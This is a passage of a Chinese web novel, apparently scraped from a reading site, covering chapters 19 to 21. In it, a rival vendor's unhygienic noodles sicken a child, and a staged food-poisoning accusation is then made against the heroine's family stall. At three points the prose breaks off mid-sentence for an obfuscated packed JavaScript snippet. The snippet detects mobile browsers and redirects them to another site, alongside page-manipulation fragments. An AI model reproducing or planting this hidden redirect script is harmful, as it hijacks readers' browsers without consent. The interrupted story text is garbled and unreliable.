因为上次卖包子尝到了甜头，所以这次他也准备大干一场，加上打着再把珍珍小吃挤走的主意，这回他可下了本钱，早起一个包子都没做，把家里所有的白面全部擀成了面条下锅。 而要命的是，这半天的时间煮熟的面条就一直在水里泡着，已经泡得全部发胀了，拿筷子一挑，软烂稀囔，都快拿不成个儿了！ 这么下去，这些面条非得馊烂了不可！ 两口子没办法，只好开始降价，一碗“凉皮”卖两毛！ 可惜收效甚微，还是没几个人来，俩人一咬牙，只得继续往下降，一开始是一毛八，后来一毛五，到最后干脆一毛钱一碗。 因为价格便宜，不要票，加上珍珍小吃那边的凉皮已经都卖完了，食客也散了，没人再拿他们家说事，摊子上这才开始陆陆续续来了些客人。 可惜好景不长，他一桶面条还没卖出半桶呢，一个虎背熊腰的大汉就突然怒气冲冲地跑过来，指着他鼻子就破口大骂：“你个狗娘养的，你说你们卖的啥破玩意儿？我儿子吃完就又拉又吐，人都进了医院！”骂完不解气，还把那半桶面条都给踢翻了！ 19. 第十九章 动静闹得挺大，不少人都凑过来看热闹。 那大汉身后还跟了个头发半白的老太太，眼睛哭得通红，见大伙儿都围过来了，不由大声哭诉起来。 原来是大半个小时之前，老太太听邻居说客运站门口有卖一种叫凉皮的小吃，酸辣爽口，特别开胃，老太太寻思最近天气热，家里小孙子胃口不好，正好买一份回去尝尝。 没想到等老太太按照邻居的指点，找到那家卖凉皮的珍珍小吃摊后，人家的凉皮都已经卖完了！ 老太太没买着东西，又白跑一趟，自然不甘心，赶巧就碰上王老四他们摊子上吆喝“凉皮”一毛五一碗。 老太太之前其实是听过邻居提醒的，知道这家卖的是假凉皮，可瞅着那桶里白花花的面条子，想着咋说也是白面做的，一毛五分钱就能买一大碗，比那啥没吃过的凉皮便宜了一半，感觉挺划算的，就掏钱买了一碗。 回去后，小孙子吃了几口就不爱吃了，老太太自己也觉着一般，尤其那个辣椒酱，干巴巴的，又咸又辣，一点油花也没有！别说小孩，连她都不爱吃，顿时觉得那一毛五白花了！只好撂下那碗面条，打算再给小孙子做点啥。 可没想到就她进厨房不到十分钟的工夫，小孙子就来了病！先是哇哇吐了一地，跟着又捂着肚子使劲喊疼，可把老太太吓坏了！火急火燎地抱起孩子上了医院，又赶紧打发了老头子去厂子里把儿子、儿媳叫了回来。 “大夫说是吃坏了东西，得了急性肠胃炎，现在就在医院里挂水呢！都是这个丧良心的卖的‘假凉皮’，可坑死人了！哎呦，我的心肝肉啊，这回可遭了老大罪了！” 老太太一把鼻涕、一把泪，显见是真伤心，惹得周围几个上了岁数的大爷大妈也跟着唏嘘不已，都忍不住出声道：“虽说你不该贪小便宜，但是他卖东西吃坏了人，那说破天也是不占理！” 王老四两口子心虚又害怕，可也知道这时候说啥也不能承认是自家卖的吃得有问题，王老四媳妇就梗着脖子喊道：“话可不是这么说的！谁知道你们在家都给孩子吃啥东西了？凭啥出了事就赖我们？要我说，指不定是你们借着机会故意讹我们呢！” “放屁！你们算个啥，老子犯得着讹你们？”这话可把大汉气得够呛，抡起拳头就要上前揍人！ 这会儿的人还都比较热心肠的，周围看热闹的人一见大汉真动了怒，赶忙上前将人拉住！ “小伙子，别动手，有话好好说，要不有理也变没理了！” 这时，一个戴着眼镜的老大爷主动走到那被踢翻的半桶面条前，伸手捞起一把泡得稀烂的面条，仔细闻了闻，最后皱眉道：“这泡面条的水是生水！” 他这么一说，众人登时就明白了！王老四摊子上的面条一直在桶里泡着，这么热的天，如果不勤换水，就是用烧过的凉白开都不一定能保证不出问题，更何况这黑心的两口子还用的生水！ 想想这半天的工夫，里头指不定滋生了多少细菌，难怪会吃坏人！ “我的妈呀，这也太缺德了！骗人也就算了，还这么不卫生，这不就是明摆着坑人吗？真是心肝都黑透了！” “哎，看那面条都成糊了，白瞎这么好的粮食了！真是作孽啊！” 一时间，众人指责声纷纷四起。 眼见王老四两口子被当众抓了包，那大汉越发气势上涨，上前一把薅住王老四的衣领子，恶狠狠道：“今天你必须给我儿子一个说法！要么你就赔钱，要么你就跟我上派出所，要不然这事没完！” 王老四一听说要去派出所，魂都差点吓丢了，这回也不硬挺着了，赶忙堆起一脸谄笑，低声下气道：“大哥、大哥，好说好说，只要咱不去派出所，一切都好说！” 这场闹剧最终以王老四两口子赔给大汉一家五十块钱告终。 在凤城市平均月工资不足三十块的八零年，这可不是一笔小数目。掏完了钱，王老四两口子整个人也像被掏空了一般，差点站都站不住了！ 可就算这样，那大汉临走时，还恶狠狠地放话：“今天算便宜你们了！要是我儿子能尽快好起来也就算了，要不然他在医院住几天，我就折腾你们几天！” 周围知道前因后果的人更是一直对他们指指点点，甚至有不少之前在王家买过包子的人听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746389|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这事后，也是满脸后怕！ 更有人当场表示：“我就觉得他们家包子馅儿有问题，那肉一点也不新鲜，一股子哈喇味！味道更是比珍珍小吃家差远了！反正我只买过那一回，幸好我没贪便宜，不然指不定我们家也要像那家孩子似的吃坏了肚子呢！”一副极有先见之明的样子。 旁边人自然也不甘示弱：“我知道，我们家也是珍珍家的常客，他们家的包子用料新鲜，个大又好吃，虽说贵了两分钱，但咱吃得也放心啊！还是老话不假，一分钱，一分货！” 这些话传到王老四两口子耳朵里，更是剜心割肉一样难受。 他们明白，自家这摊子今后是再不能在这儿摆了！ 王老四媳妇看着车里那另外三大桶满满登登的面条，想着这前前后后的损失，更是直接瘫坐在地上，嚎啕大哭起来。 只可惜周围没有任何人同情他们。 王老四不想再继续丢人，强挺着胡乱收拾了一通，拽起地上大哭的婆娘，推着车子磕磕绊绊地开溜了。 临走前，还不忘恶狠狠地瞪了站在人群里的苏丽珍一眼。 看着那两口子灰溜溜地逃了，林小麦又是解气、又是高兴，不过想起刚刚王老四临走前那恶意的眼神，她还是忍不住担心道：“珍珍，我看那王老四一定不会就这么算了，你们以后还是要注意一点！” 苏丽珍点了点头，“放心吧，我心里有数，以后会小心的！” 她上辈子在米国那几年，一直在底层社会苦苦煎熬，像王老四这样的人见得多了。 这种人能力没多少，野心却不小。就说这次，固然是苏丽珍有意算计，可如果不是他太过贪心，也不会造成这么大的损失。 甚至如果他能在被人揭穿卖“假凉皮”的第一时间，懂得适可而止，重新定一个合理的价格，老老实实卖他的面条，那他今天说不定还能小赚一笔！ 当然，这种人心思不正，连最起码的食品安全都做不到，就合该落得这么个损失惨重的下场！ 不过她也不会轻敌就是了，只要王老四还敢朝他们家伸爪子，她保证给他齐刷刷剁掉！ 20. 第二十章 听她心里有数，林小麦也放心不少，“那就好，小心点总归没毛病！尤其是叔和婶子，一看就是老实人，你也得嘱咐他们多防着点！” 提起这茬，苏丽珍却有点头疼。 设计王老四这事，她还没来得及跟父母两人说，就是因为不确定父母会不会赞同她这样做。 苏卫华和李翠英一直坚持与人为善，甚至遇事习惯主动退让。就比如之前王老四恶意挤兑他们，这俩人也只是生气王老四太过分，却从来没想过要做点什么报复回去。 她害怕在爸爸妈妈眼中，自己成了一个睚眦必报、工于心计的女儿，让他们觉得陌生，或是嫌弃她太能惹事；又担心夫妻俩一直看不透这弱肉强食的世界本质，太过软弱，一旦哪天自己照顾不到，就会遭到反噬…… 这时候，周围看热闹的人议论了一阵儿后，因为王老四两口子离开，谈兴也渐渐淡了，便陆续散了。 两个女孩子也准备回去，可没想到当苏丽珍转过身，看见身后站着的人时，登时头皮一紧！ 林小麦没发现苏丽珍的异样，只率先笑着打招呼：“婶子，你也过来了，咋没喊我们俩一声啊！” 原来李翠英不知道啥时候过来的，这会儿就站在两个女孩身后。 李翠英先是意味深长地看了苏丽珍一眼，然后才对林小麦说道：“我本来是想喊你们回去的，结果看你们俩一直在说话，我就没打扰你们！” 李翠英的目光让苏丽珍有些紧张。 等母女俩一起回到自家摊子时，锅里最后十来个包子也卖得一干二净，苏卫华把东西都收拾好，正张罗着要回家。 回去的路上，苏卫华因为今天的生意好，加上看到王老四自食恶果，心情特别好，这一路话都比平常多。 倒是李翠英一反常态，几乎没怎么开口。 苏丽珍心中更加惴惴，不自觉把衣兜里的别针摁了好几次。 一进家门，李翠英二话不说就把父女俩一起叫进了屋里，转头第一句就问苏丽珍：“说吧，今天这到底是咋回事？” 这时，苏卫华才后知后觉地发现媳妇和闺女不对劲儿，正想开口问呢，就听闺女那边竹筒倒豆子似的，把她设计收拾王老四的前后经过都说了出来！ 苏卫华简直吓了一跳，没想到这孩子如今主意这么正，自己就敢做这么大的事！ 毕竟今天王老四闹这么一出，不说名声没了、招牌砸了，就是钱也没少赔！他大致估算了下，这里外里最起码得搭进去八、九十块钱！ 想到这儿，他不免有些担心，万一那王老四狗急跳墙，伤害珍珍怎么办？ 他顿时有些着急，语气也严厉了几分，“你这孩子胆子也太大了！这两天你先别自己出门，就跟在我和你妈身边，尤其出摊的时候！” 其实这话也是他白嘱咐，自打放假开始，苏丽珍除了帮家里买东西或者上图书馆，几乎就没怎么出去过。 不过苏丽珍能感受到父母的紧张和不安，所以当即乖顺地点了点头。只要爸爸妈妈不会因此觉得她陌生、恶劣，无论他们说什么，她都愿意去做。 而夫妻俩看着闺女煞白着小脸，一副紧张不安的神情，不等再说别的，自己一颗心倒是先软了大半。 苏卫华这个当爹的最先绷不住，不自觉放软了声调：“珍珍，爸不是怪你，是你到底年纪还小，不知道人心能坏到啥地步……不过你放心，凡事有爸呢！只要爸还活着一天，谁也别想动我闺女一根毫毛！” 李翠英也长叹了一声，语重心长道：“珍珍，我和你爸都明白，你长大了，也懂事了，尤其这一个多月，你每天跟着我们忙里忙外，却从来不叫苦、叫累！我和你爸能有你这么个贴心的闺女，我们俩特别知足！” “回来的路上我也想过了，你是个聪明孩子，有时候甚至比我和你爸都强！我们再像过去那样一有点啥事，就惦记着看着你、压着你，也不合适了！” 苏卫华听了这话，下意识想说什么，只是嘴唇动了动，最终还是没开口。 李翠英似乎是知道他的想法，只是伸手拍了拍他的胳膊，兀自说道：“可是珍珍，你得明白，你是我们的闺女，是我和你爸这一辈子的希望！妈只希望你今后不管做啥事之前，都能再三考虑，千万不要鲁莽冲动！做事前，先想想你自个儿，再想想我跟你爸，知道保护好自己，行吗？” 李翠英殷切注视她的目光，让苏丽珍想起了记忆里上辈子妈妈的样子。 上辈子她听说那人要去米国留学深造，自己也发了疯似的要跟着去，甚至不惜要到南方偷渡。 记忆里，妈妈也是这样一遍遍地肯求她留下。从祈求到哀求，从殷切到卑微，无论她让她失望多少次，那个时候，她的眼神里始终满满的都是她！ 直到爸爸为了给她凑出国的路费，四处托人卖掉了为数不多的家当，之后就在家里喝药自尽了。而她却是前脚刚参加完爸爸的葬礼，后脚就离开了家，踏上了南下的火车。 临出门的时候，轮到她祈求妈妈，求妈妈原谅她，说她以后还会回来…… 可那时的妈妈只是冷冷地看着她。 从那一刻起，她知道，以后妈妈的眼里再也不会有她这个女儿了。 一夕之间，为了追求一个从来没有对她另眼相待过的男人，她失去了这个世界上两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746390|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真正眼里、心里只有她的亲人。 真是活该啊！ 心里的悔痛让她不由攥紧了掌心，之前被别针刺破的指尖再次沁出鲜血，她却感受不到丝毫疼痛，只是流着泪扑进妈妈的怀里，不住喃喃道：“对不起、对不起，妈妈、爸爸……我知道错了，我真的错了……求求你们原谅我……” 看女儿哭成这个样子，把苏卫华和李翠英吓了一跳。 李翠英赶忙紧紧将人搂住，一边轻拍她的脊背、一边哄劝道：“这是咋了？啥原谅不原谅的！珍珍没错，我们珍珍最聪明、最厉害，你可是妈的小棉袄！” 苏卫华也跟着紧张道：“对对，闺女别哭，刚刚你妈还说你长大了，可不能这么哭了！珍珍，我们真不是怪你，是你年纪还小，不知道这社会的复杂！我们是怕你年轻气盛，摔跟头……刚才都是爸不好，爸态度有问题，爸现在给你认错啊！” 苏丽珍听到这话却哭得更厉害！ 她趴在李翠英的怀里，又忍不住紧紧拽住苏卫华的大手，贪婪地汲取着父母两个人的温暖，希冀这些温暖能帮她驱散内心终日不散的严寒。 谁知苏卫华却眼尖地发现了闺女指尖上的点点血迹，立马急了：“哎呀，这孩子这手咋出血了！媳妇，你赶紧看看！” 夫妻俩一阵兵荒马乱地找药水和纱布，急着给苏丽珍处理伤口，关于闺女主意大、擅自出手教训王老四的事就这样被抛到了脑后。 可苏丽珍心里却越发愧疚，比起任何事都全心全意为她考虑的父母，她还是差得太远、太远了。 第二天，客运站门口，那王家的摊子果然没再来。 不过因为如今这年月新鲜事少，“王家的‘假凉皮’吃坏了人，因此赔了五十块钱”这种事绝对算个新闻了！ 因此即便他们人没来，可关于两口子黑心的传闻却在周边这片区域一连传了好几天才消停。 又过了一个星期，苏家人才偶然从一个来买凉皮的熟客那里得知，王家又去了火车站那边摆摊，还是卖包子，听说生意似乎也不错。 这点倒是没出苏丽珍的意料，毕竟现在改革之初，可以说是遍地商机，只要尝过这里面的甜头，一般轻易不会舍得放手。 而不说火车站本身的客流量，就说它和客运站的顾客重合率也不高，所以尽管李翠英和林小麦还有些不甘心，可之前的事确实不会再对王家造成什么影响。 而相对的，她明白，自家也该提高警惕了。 王老四那种人不会有太好的耐性，要是他想报复，一旦在火车站站住脚，就会立马掉头过来。 果然，之后没出三天，闹事的来了！ 21. 第二十一章 这天，一家人照常是刚出摊就迎来了一拨儿一拨儿的食客。 这段日子，珍珍小吃已经成了附近一带小有名气的摊子。尤其随着暑热渐盛，凉皮爆火，每天都有不少慕名而来的新客人，连身后的国营饭店都比不上他们家的生意红火。 现在他们每天都能卖出二百多碗凉皮，生意好得不行。苏卫华夫妻俩原本打算先把包子这块停下，专心做凉皮，可因为总有老主顾回来找，他们为了照顾客人，索性每天也准备八十多个包子跟凉皮搭配着卖，对一些食量大的客人来说，也多了个选择。 中午十二点，本就是午饭休息时间，再加上客运站里几辆其他市里过来的客车也是这个点到站，一时间，来买凉皮的人暴增，排起的长队差点占了半条街，一家三口更是忙得喝口水的工夫都没有。 就在这时，忽然有一高、一矮两个男人抬着个老太太一路大呼小叫地冲到了摊子前。 “你们这帮黑心的，卖得什么破凉皮，把人都给吃坏了！” “对，你们卖的凉皮有问题，把我老娘坑惨了，简直就是缺德！” 被抬着的老太太也跟着捂着肚子使劲“哎呦、哎呦”地叫唤。 苏卫华和李翠英一看情况不对，就赶忙放下手里的活，迎了上去。 苏丽珍却是看着那三人张牙舞爪的架势，不由挑了挑眉。 她果然没看错王老四，还真是招数不管新旧，只要能恶心人就行。 她故意落后父母一步，顺手把这几天一直随车带着的一个小碗大的沙包拿在手里，掂了掂，也跟着走了过去。 因为来的是两个大男人，苏卫华这一家之主自然挡在妻女前头。 本来，他是想上前问问两人具体怎么回事的，奈何那两人根本没把他放在眼里，直接把抬着老太太的门板放下后，那个高个子的男人便扯着脖子朝四周大喊大叫起来！ “大伙儿都来看看啊，这珍珍小吃家根本就是个丧良心的，卖得东西不干净，把我老娘都给吃坏了！可怜她老人家这么大岁数，肚子里头刀割似的疼，简直遭了大罪了！” 他一边喊，还一边从手腕上挂着的一个布兜里掏出一个铝饭盒，掀开盒盖，露出里面半盒子凉皮。 而这时，摊子上原本就有不少人在排队，再加上客运站里没来得及走远的乘客，出了这么一番变故，自然引得大伙儿纷纷围拢过来。 那高个男人便顺势把手里的凉皮挨个往周围站得近的人跟前送，“大伙儿看看、看看！这就是这家黑心摊子卖得凉皮！我原想着买一碗孝敬我老娘，结果我老娘吃了一半就开始喊肚子疼！什么正宗秦省小吃，狗屁！我看这就是忽悠人的玩意儿，指不定是用啥不干净的东西做的呢！” 站在前排围观的人闻着饭盒里熟悉的酸辣味，也不禁皱起了眉头，这的确是他们近来常吃的珍珍家凉皮没错！ 周围人便忍不住议论起来。 “这怎么回事啊？珍珍家怎么也出这种事了？” “天啊，不能吧！我可连着在他们家买过三回凉皮了，每次都使劲加辣，不会里头的一直也是这种有问题的东西吧？” “不好说啊，都说天下乌鸦一般黑，你们忘了之前那个王老四，被人找上门之前不也是看着挺好的吗？” 围观的人里有大半并不知道王老四的事，忍不住顺道打听了两句，等听了知道的人前后一说，想到同是近两个月在这附近一起卖食物的摊贩，那王家不靠谱，自然难免对珍珍小吃也起了疑心。 从前王老四家的事一直是作为珍珍小吃家的对照组，每次被人提起都能反过来衬托珍珍家食物的干净卫生，可没想到换个背景，反倒让珍珍小吃被划成了天下乌鸦一般黑的“同犯”。 苏卫华和李翠英自家人知自家事，在食物上头，他们俩绝对是加一百个小心，不可能出现男人说的那种情况！到这会儿他们基本上也反应过来了，对方十有八九就是故意来闹事，败坏他们名声的！ 夫妻俩十分生气，可他们俩素来老实惯了，一辈子也没跟人吵过架，自然不是那高个男人的对手。尤其苏卫华几次想上前跟那男人理论，还都被跟对方同行的矮子挡住了，一时间更是气愤不已。 苏丽珍见那矮子似乎力气不小，怕父母吃亏，忙上将两人拉到一旁，低声劝道：“爸妈，你们别急，先看看他们到底要干什么！” 夫妻俩看着闺女一副不慌不忙的样子，又想起这几天也是闺女再三叮嘱要提高警惕，提防有人找茬，如今可不正中了这话吗？ 估摸这孩子心里是有了啥想法，不过他们毕竟是当人爹妈的，可不能啥事都让闺女挡在前头。 苏卫华便也同样低声道：“没事，珍珍，万一待会儿真打起来了，你就先跟着你妈回去，爸留下跟他们拼了！” 李翠英也赶忙道：“不行，让珍珍自己走，我跟你一块留下！我能挠人，我帮你！” 苏丽珍听得又想哭、又想笑。但凡她上辈子有一点心，她就应该早早明白，她有一对这个世上最可爱的父母。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746391|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不过当她的眼神转到对面还在肆意给他们泼脏水的两个男人时，目光渐渐变冷。 她不动声色地扫了眼周围越聚越多的人，又阴晦地给人群里焦急不已的林小麦递去一个安抚的眼神。 她之前和林小麦有个约定，不管这几天摊子上遇到什么事，都不许林小麦过来插手。 现在她就想看看对方还有什么招数，既然他们这么有心，那她就好好陪他们玩玩！ 对面那两个男人眼见在自己挑动下周围的议论声越来越大，看出人群里开始有不满的情绪，那高个男人心里有些得意，不由默默算计着，待会儿应不应该多要个一百、两百的，毕竟这家珍珍小吃挺红火，肯定有钱！ 想到这些，他心底就一片火热，可面上却摆出一副义正言辞的架势，指着对面低声说话的一家三口，大声道：“你们还有啥话可说的，要说就大点声！不会是还想着抵赖吧？大伙儿可都亲眼看着呢，这凉皮现在也只有你们家能做！这种丧良心的玩意儿一碗还卖三毛钱，简直黑心透了！” 这一嗓子过后，四周议论的声响又大了几分。真说起来，在众人眼中，这珍珍家的凉皮的确什么都好，就是一碗三毛的价格委实不低。毕竟这玩意儿加上黄瓜、面筋以后，看着虚虚蓬蓬，好像挺多，其实不怎么顶饿。 高个男人非常聪明，一下就抓住了人们在价格上的那点介怀，成功将大家的不满升级。 “唉，可怜我的老娘啊，一大把年纪，却遭了这个罪！总之，你们珍珍家今天必须给我们一个说法！要是我老娘有个三长两短，那我就撞死在你们摊子前！” 男人话音刚落，地上躺在门板上的老太太立马像被按了开关似的大声呻/吟起来：“哎呦，我肚子疼死了！我这造的什么孽啊，一把年纪还要因为嘴馋拖累我儿子！哎呦，疼死我了！” 这副“母慈子孝”的场面更是让许多人心中的天平不自觉偏到了三人这边。 苏丽珍这时看戏看得差不多了，便收起唇角的冷笑，换上一张谦和有礼的笑脸，主动上前对那两个男人说道：“两位叔叔，这事我听明白了，你们想要说法是吧？那好办，我就能做主给你们！” 说完也不理会两个男人眼中乍然泛起的喜色，她转头就对围观的众人高声道：“各位叔叔婶婶、哥哥姐姐们，我是珍珍小吃家的女儿，这‘珍珍’两个字就是取自我的名字，所以我就能代表我爸妈做主！现在，劳烦哪位帮我们个忙，去把街对面堵头那家派出所里的警察请过来一下！”